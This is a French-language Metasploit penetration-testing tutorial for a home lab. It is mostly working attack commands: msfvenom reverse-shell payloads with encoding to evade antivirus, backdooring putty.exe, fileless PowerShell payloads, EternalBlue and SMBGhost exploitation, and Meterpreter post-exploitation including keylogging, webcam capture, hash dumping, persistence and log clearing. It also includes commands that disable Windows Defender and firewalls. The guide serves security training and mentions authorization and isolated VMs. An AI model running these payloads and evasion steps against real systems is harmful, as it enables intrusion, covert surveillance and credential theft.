Tests de Pénétration avec Metasploit Framework
🎯 Tests de Pénétration avec Metasploit Framework
Section titled “🎯 Tests de Pénétration avec Metasploit Framework”📋 Objectif
Section titled “📋 Objectif”Temps nécessaire : 2-3 heures
Niveau : Intermédiaire
À la fin de ce guide, vous saurez :
- Créer des payloads avec Msfvenom
- Configurer des listeners Metasploit
- Exploiter des vulnérabilités SMB (EternalBlue, SMBGhost)
- Gérer des sessions Meterpreter pour la post-exploitation
- Diagnostiquer et résoudre les problèmes courants
🔧 Prérequis
Section titled “🔧 Prérequis”Système requis
Section titled “Système requis”- Kali Linux (machine virtuelle ou physique) - 20 GB espace disque
- Windows 10 en machine virtuelle - 40 GB espace disque
- VirtualBox ou VMware pour virtualisation
- 8 GB RAM minimum (4 GB par VM)
- Réseau configuré : Host-Only ou NAT Network
Connaissances préalables
Section titled “Connaissances préalables”- Bases de Linux et ligne de commande
- Compréhension des réseaux TCP/IP
- Notions de sécurité informatique
- Utilisation de machines virtuelles
Logiciels à installer
Section titled “Logiciels à installer”# Sur Kali Linux (généralement préinstallés)sudo apt updatesudo apt install metasploit-framework nmap netcat-traditional -y📚 Définition et Contexte
Section titled “📚 Définition et Contexte”Qu’est-ce que Metasploit ?
Section titled “Qu’est-ce que Metasploit ?”Metasploit Framework est une plateforme open-source de test d’intrusion qui permet aux professionnels de la sécurité de découvrir, exploiter et valider des vulnérabilités. C’est l’outil le plus utilisé au monde pour le pentesting.
Analogie simple : Imaginez Metasploit comme un couteau suisse de la cybersécurité - il contient tous les outils nécessaires pour tester la solidité d’un système, mais doit être utilisé de manière éthique et légale.
Histoire rapide
Section titled “Histoire rapide”- 2003 : Création par HD Moore
- 2009 : Rachat par Rapid7
- Aujourd’hui : Plus de 2000 exploits, utilisé par les pentesters du monde entier
Composants Principaux
Section titled “Composants Principaux”| Composant | Description |
|---|---|
| msfconsole | Interface principale interactive |
| msfvenom | Générateur de payloads |
| Exploits | Code qui exploite une vulnérabilité |
| Payloads | Code exécuté après exploitation |
| Meterpreter | Shell avancé post-exploitation |
Utilisations professionnelles
Section titled “Utilisations professionnelles”| Domaine | Application |
|---|---|
| Red Team | Simulation d’attaques réalistes |
| Pentest | Audit de sécurité d’entreprises |
| Bug Bounty | Découverte de vulnérabilités |
| Formation | Apprentissage de la cybersécurité |
| R&D Sécurité | Développement de protections |
🚀 Installation et Configuration
Section titled “🚀 Installation et Configuration”1. Préparation de l’environnement virtuel
Section titled “1. Préparation de l’environnement virtuel”# Vérifiez la version de Metasploitmsfconsole --version
# Mettez à jour Metasploitsudo apt updatesudo apt install metasploit-framework -ymsfupdate2. Configuration réseau des VMs
Section titled “2. Configuration réseau des VMs”Dans VirtualBox :
- Fichier → Préférences → Réseau → NAT Networks
- Créez un nouveau réseau :
10.0.2.0/24 - Pour chaque VM : Configuration → Réseau → Mode d’accès réseau → Réseau NAT
Vérification :
# Sur Kali Linuxip addr show
# Sur Windows (PowerShell)ipconfig3. Désactivation des protections (pour tests)
Section titled “3. Désactivation des protections (pour tests)”Sur Windows 10 :
# Désactiver Windows Defender temporairementSet-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# Désactiver la protection en temps réelSet-MpPreference -DisableRealtimeMonitoring $trueSur Kali Linux :
# Désactiver le pare-feu si actifsudo ufw disable
# Ou autoriser le port spécifiquesudo ufw allow 4444/tcp4. Vérification de la connectivité
Section titled “4. Vérification de la connectivité”# Depuis Kali, testez la connexion vers Windowsping [IP_WINDOWS]
# Testez le port SMBnmap -p 445 [IP_WINDOWS]💻 Création de Payloads avec Msfvenom
Section titled “💻 Création de Payloads avec Msfvenom”Msfvenom est l’outil de génération de payloads standalone de Metasploit. Il remplace les anciens outils msfpayload et msfencode.
Syntaxe de Base
Section titled “Syntaxe de Base”msfvenom -p [PAYLOAD] LHOST=[IP_KALI] LPORT=[PORT] -f [FORMAT] -o [FICHIER]Payload Simple (Reverse TCP)
Section titled “Payload Simple (Reverse TCP)”# Exemple concret : Reverse TCP Meterpretermsfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 \ LPORT=4444 \ -f exe \ -o payload_simple.exePayload avec Encodage
Section titled “Payload avec Encodage”# Encodage pour éviter la détection basiquemsfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 \ LPORT=4444 \ -e x86/shikata_ga_nai \ -i 10 \ -f exe \ -o payload_encoded.exeTypes de Payloads Courants
Section titled “Types de Payloads Courants”| Type | Description | Usage |
|---|---|---|
reverse_tcp | Cible se connecte à l’attaquant | Contourne pare-feu sortant |
bind_tcp | Attaquant se connecte à la cible | Nécessite port ouvert |
reverse_https | Connexion cryptée HTTPS | Discret dans trafic web |
meterpreter | Shell avancé | Post-exploitation complète |
Formats de Sortie
Section titled “Formats de Sortie”# Windows-f exe # Exécutable standard-f dll # Bibliothèque dynamique-f msi # Installeur Windows
# Linux-f elf # Exécutable Linux
# Scripts-f python # Script Python-f powershell # Script PowerShell-f vbs # Visual Basic Script
# Web-f aspx # Page ASP.NET-f war # Application Java (Tomcat)🎧 Configuration du Listener Metasploit
Section titled “🎧 Configuration du Listener Metasploit”Le listener attend la connexion du payload exécuté sur la cible.
Configuration manuelle
Section titled “Configuration manuelle”# Lancer Metasploitmsfconsole
# Configurer le handleruse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.108 # IP de votre Kaliset LPORT 4444 # Port d'écouteset ExitOnSession false # Ne pas fermer après une sessionexploit -j # Lancer en arrière-plan (-j = job)Configuration automatique avec fichier .rc
Section titled “Configuration automatique avec fichier .rc”# Créer votre propre fichier handler.rccat > handler.rc << 'EOF'use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.108set LPORT 4444set ExitOnSession falseexploit -jEOF
# Lancer avec le fichiermsfconsole -r handler.rcVérification du listener
Section titled “Vérification du listener”# Lister les jobs actifsmsf > jobs
# Vérifier que le port écoutenetstat -tlnp | grep 4444🔓 Exploitation de Vulnérabilités
Section titled “🔓 Exploitation de Vulnérabilités”Scénario 1 : Exploitation avec Payload Manuel
Section titled “Scénario 1 : Exploitation avec Payload Manuel”Étape 1 : Préparer le listener
msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.108set LPORT 4444exploit -jÉtape 2 : Transférer le payload vers Windows
# Sur Kali, créer un serveur HTTPcd /chemin/vers/payloadpython3 -m http.server 8000
# Sur Windows, ouvrir un navigateur# http://[IP_KALI]:8000# Télécharger et exécuter le .exeÉtape 3 : Connexion établie
# Sur Kali, vous verrez :[*] Sending stage (188998 bytes) to 192.168.1.107[*] Meterpreter session 1 openedScénario 2 : Exploitation EternalBlue (MS17-010)
Section titled “Scénario 2 : Exploitation EternalBlue (MS17-010)”Prérequis : Activer SMBv1 sur Windows
# Sur Windows 10 (PowerShell Admin)Enable-WindowsOptionalFeature -Online -FeatureName SMB1ProtocolRestart-ComputerExploitation depuis Kali :
# Scanner la vulnérabilitéuse auxiliary/scanner/smb/smb_ms17_010set RHOSTS 192.168.1.107run
# Si vulnérable, exploiteruse exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.107set LHOST 192.168.1.108set payload windows/x64/meterpreter/reverse_tcpexploitScénario 3 : Exploitation SMBGhost (CVE-2020-0796)
Section titled “Scénario 3 : Exploitation SMBGhost (CVE-2020-0796)”Vulnérabilité : Windows 10 v1903/1909 non patché
# Scanner la cibleuse auxiliary/scanner/smb/smb_versionset RHOSTS 192.168.1.107run
# Exploiter SMBGhostuse exploit/windows/smb/cve_2020_0796_smbghostset RHOSTS 192.168.1.107set LHOST 192.168.1.108set LPORT 5555set DefangedMode false # Désactiver le mode sécuriséexploit🕹️ Utilisation de Meterpreter
Section titled “🕹️ Utilisation de Meterpreter”Une fois la session obtenue, interagissez avec la cible :
# Lister les sessionssessions -l
# Se connecter à la session 1sessions -i 1
# Commandes de reconnaissancemeterpreter > sysinfo # Informations systèmemeterpreter > getuid # Utilisateur actuelmeterpreter > pwd # Répertoire actuelmeterpreter > ps # Liste des processus
# Commandes d'interactionmeterpreter > shell # Shell Windows classiquemeterpreter > screenshot # Capture d'écranmeterpreter > webcam_snap # Photo webcammeterpreter > keyscan_start # Démarrer le keyloggermeterpreter > keyscan_dump # Afficher les frappes enregistrées
# Gestion de fichiersmeterpreter > ls # Lister les fichiersmeterpreter > cd C:\\Users # Changer de répertoiremeterpreter > download fichier.txt # Télécharger un fichiermeterpreter > upload exploit.exe C:\\Temp # Uploader un fichier
# Élévation de privilègesmeterpreter > getsystem # Tenter SYSTEMmeterpreter > hashdump # Extraire les hash (admin requis)
# Persistencemeterpreter > run persistence -X # Créer une backdoor persistante
# Migration de processus (pour stabilité)meterpreter > migrate [PID] # Migrer vers un processus légitimeTableau des Commandes Essentielles
Section titled “Tableau des Commandes Essentielles”| Commande | Description | Privilèges requis |
|---|---|---|
sysinfo | Informations système | User |
getuid | Utilisateur actuel | User |
shell | Shell Windows | User |
screenshot | Capture d’écran | User |
hashdump | Hash des mots de passe | Admin |
getsystem | Élévation SYSTEM | Admin |
migrate | Changer de processus | Variable |
clearev | Effacer les logs | Admin |
🎨 Techniques d’Encodage Avancées
Section titled “🎨 Techniques d’Encodage Avancées”Pourquoi Encoder ?
Section titled “Pourquoi Encoder ?”L’encodage modifie la signature du payload pour éviter la détection par les antivirus. Ce n’est pas du chiffrement, mais de l’obfuscation.
Encodeurs Disponibles
Section titled “Encodeurs Disponibles”# Lister tous les encodeursmsfvenom --list encoders
# Encodeurs populairesx86/shikata_ga_nai # Polymorphique (change à chaque génération)x86/call4_dword_xor # XOR simplecmd/powershell_base64 # Base64 pour PowerShellEncodage Multiple
Section titled “Encodage Multiple”# Shikata Ga Nai avec 15 itérationsmsfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 LPORT=4444 \ -e x86/shikata_ga_nai -i 15 \ -f exe -o payload_shikata.exe
# Encodage avec plusieurs encodeurs successifsmsfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 LPORT=4444 \ -e x86/shikata_ga_nai -i 5 \ -e x86/call4_dword_xor -i 3 \ -f exe -o payload_multi.exeInjection dans Binaire Légitime (Template)
Section titled “Injection dans Binaire Légitime (Template)”# Injecter dans un exécutable légitimemsfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 LPORT=4444 \ -x putty.exe \ -k \ -f exe -o putty_backdoor.exePayloads Sans Fichier (Fileless)
Section titled “Payloads Sans Fichier (Fileless)”# Payload PowerShell (pas de fichier .exe sur disque)msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 LPORT=4444 \ -f psh -o payload.ps1
# Payload Python (multiplateforme)msfvenom -p python/meterpreter/reverse_tcp \ LHOST=192.168.1.108 LPORT=4444 \ -f raw -o payload.pyCommandes de Recherche Utiles
Section titled “Commandes de Recherche Utiles”# Rechercher des payloads spécifiquesmsfvenom --list payloads | grep windowsmsfvenom --list payloads | grep meterpretermsfvenom --list payloads | grep reverse
# Rechercher des formatsmsfvenom --list formats⚠️ Problèmes Courants et Solutions
Section titled “⚠️ Problèmes Courants et Solutions”1. Payload détecté par Windows Defender
Section titled “1. Payload détecté par Windows Defender”Symptôme : Windows affiche “Virus détecté” et bloque le fichier.
Solutions :
# Solution A : Désactiver Windows Defender (temporaire - tests seulement)Set-MpPreference -DisableRealtimeMonitoring $true
# Solution B : Ajouter une exclusion pour le dossierAdd-MpPreference -ExclusionPath "C:\Users\[User]\Downloads"2. Handler failed to bind (port déjà utilisé)
Section titled “2. Handler failed to bind (port déjà utilisé)”Symptôme : Rex::BindFailed The address is already in use (0.0.0.0:4444)
Solution :
# Lister et tuer les anciens jobsmsf > jobs -lmsf > jobs -K
# Ou utiliser un autre portmsf > set LPORT 5555
# Vérifier quel processus utilise le portnetstat -tlnp | grep 4444kill [PID]3. Connexion SYN_SENT (pas de réponse)
Section titled “3. Connexion SYN_SENT (pas de réponse)”Symptôme : Sur Windows, netstat montre SYN_SENT vers Kali.
Causes : Pare-feu Kali bloque le port entrant.
Solution :
# Vérifier le pare-feusudo ufw status
# Autoriser le portsudo ufw allow 4444/tcp
# Ou avec iptablessudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
# Désactiver complètement (temporaire)sudo ufw disable4. Permissions Denied sur /var/lib
Section titled “4. Permissions Denied sur /var/lib”Symptôme : Permission denied lors de l’écriture de fichiers
Solution :
# Vérifier les permissionsls -la /var/lib/metasploit/
# Corriger si nécessairesudo chown -R $(whoami) /var/lib/metasploit/5. Exploit échoue “Failed to find the low stub” (SMBGhost)
Section titled “5. Exploit échoue “Failed to find the low stub” (SMBGhost)”Symptôme : SMBGhost ne trouve pas le stub mémoire.
Causes :
- Windows est patché (KB4551762)
- Version incompatible
Solution :
# Vérifier si le patch est installéGet-HotFix -Id KB4551762
# Si présent, essayez EternalBlue à la place# Ou désinstallez le patch (non recommandé en production)📖 Ressources et Documentation
Section titled “📖 Ressources et Documentation”Documentation Officielle
Section titled “Documentation Officielle”- Metasploit Unleashed - Cours gratuit complet par Offensive Security
- Metasploit Documentation - Documentation officielle Rapid7
- Rapid7 Blog - Actualités et tutoriels
Outils Complémentaires
Section titled “Outils Complémentaires”| Outil | Description | Commande |
|---|---|---|
| Nmap | Scanner de ports/vulnérabilités | nmap -sV -p- [IP] |
| Netcat | Communication réseau brute | nc -lvnp 4444 |
| Wireshark | Analyse de trafic réseau | Interface graphique |
| Searchsploit | Recherche d’exploits offline | searchsploit windows smb |
Bases de Données d’Exploits
Section titled “Bases de Données d’Exploits”- Exploit-DB - Plus grande base d’exploits
- CVE Details - Détails des vulnérabilités
- MITRE ATT&CK - Framework de tactiques d’attaque
Plateformes de Formation
Section titled “Plateformes de Formation”- HackTheBox - Machines virtuelles vulnérables
- TryHackMe - Labs guidés pour débutants
- PentesterLab - Exercices de pentesting web
- VulnHub - VMs téléchargeables gratuitement
✅ Checklist Finale
Section titled “✅ Checklist Finale”Avant de commencer un test
Section titled “Avant de commencer un test”- VMs isolées sur réseau privé (pas de connexion Internet)
- Snapshots des VMs créés (pour restauration rapide)
- Autorisation écrite obtenue (si non personnel)
- Metasploit à jour (
msfupdate) - Connectivité réseau vérifiée (
pingentre VMs)
Pendant le test
Section titled “Pendant le test”- Listener configuré et actif
- Payload généré avec bons paramètres (LHOST/LPORT)
- Pare-feu désactivés sur les deux machines
- Logs des commandes exécutées
- Notes prises sur les vulnérabilités trouvées
Après le test
Section titled “Après le test”- Sessions Meterpreter fermées proprement
- Payloads supprimés de la cible
- Protections réactivées (antivirus, pare-feu)
- Rapport de test rédigé
- VMs restaurées aux snapshots propres
💡 Conseils Professionnels
Section titled “💡 Conseils Professionnels”Bonnes Pratiques de Pentesting
Section titled “Bonnes Pratiques de Pentesting”- Toujours documenter : Prenez des notes détaillées de chaque commande et résultat
- Tester en production miroir : Jamais directement sur le système de production
- Communiquer avec le client : Informez avant de lancer des exploits risqués
- Respecter le scope : Ne dépassez pas les limites définies dans le contrat
- Sécuriser vos outils : Chiffrez vos disques durs contenant des exploits
Astuces de Génération Efficace
Section titled “Astuces de Génération Efficace”# Générer rapidement plusieurs payloads avec différents portsfor port in 4444 5555 6666; do msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 LPORT=$port \ -f exe -o payload_$port.exedone
# Créer un payload avec timestamp dans le nommsfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.108 LPORT=4444 \ -f exe -o payload_$(date +%Y%m%d_%H%M%S).exeOptimisation des Sessions
Section titled “Optimisation des Sessions”# Migrer vers un processus stable (évite déconnexion)meterpreter > ps | grep explorer.exemeterpreter > migrate [PID_explorer]
# Activer l'auto-migrationmeterpreter > run post/windows/manage/migrate
# Dump automatique de tous les hashmeterpreter > run post/windows/gather/hashdumpGestion de Multiples Sessions
Section titled “Gestion de Multiples Sessions”# Lister toutes les sessionssessions -l
# Exécuter une commande sur toutes les sessionssessions -c "sysinfo"
# Interagir avec plusieurs sessions via scriptssessions -s script.rc🎓 Récapitulatif
Section titled “🎓 Récapitulatif”Ce que vous avez appris
Section titled “Ce que vous avez appris”- Générer des payloads avec Msfvenom (simple et encodé)
- Configurer des listeners Metasploit pour recevoir les connexions
- Exploiter des vulnérabilités SMB (EternalBlue, SMBGhost)
- Utiliser Meterpreter pour la post-exploitation complète
- Diagnostiquer les erreurs courantes (pare-feu, ports, permissions)
- Techniques d’encodage pour améliorer la furtivité
Architecture d’une Attaque Metasploit
Section titled “Architecture d’une Attaque Metasploit”┌─────────────┐ ┌──────────────┐ ┌─────────────┐│ Msfvenom │────────>│ Payload │────────>│ Victime ││ Générateur │ │ (reverse) │ │ Exécute │└─────────────┘ └──────────────┘ └─────────────┘ │ │ Connexion ▼┌─────────────┐ ┌──────────────┐ ┌─────────────┐│ Meterpreter │<────────│ Handler │<────────│ Payload ││ Shell │ │ (Écoute) │ │ Actif │└─────────────┘ └──────────────┘ └─────────────┘Commandes Essentielles à Retenir
Section titled “Commandes Essentielles à Retenir”# Générationmsfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o payload.exe
# Écoutemsfconsole -quse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST [IP]exploit
# Post-exploitationsessions -i 1sysinfoshell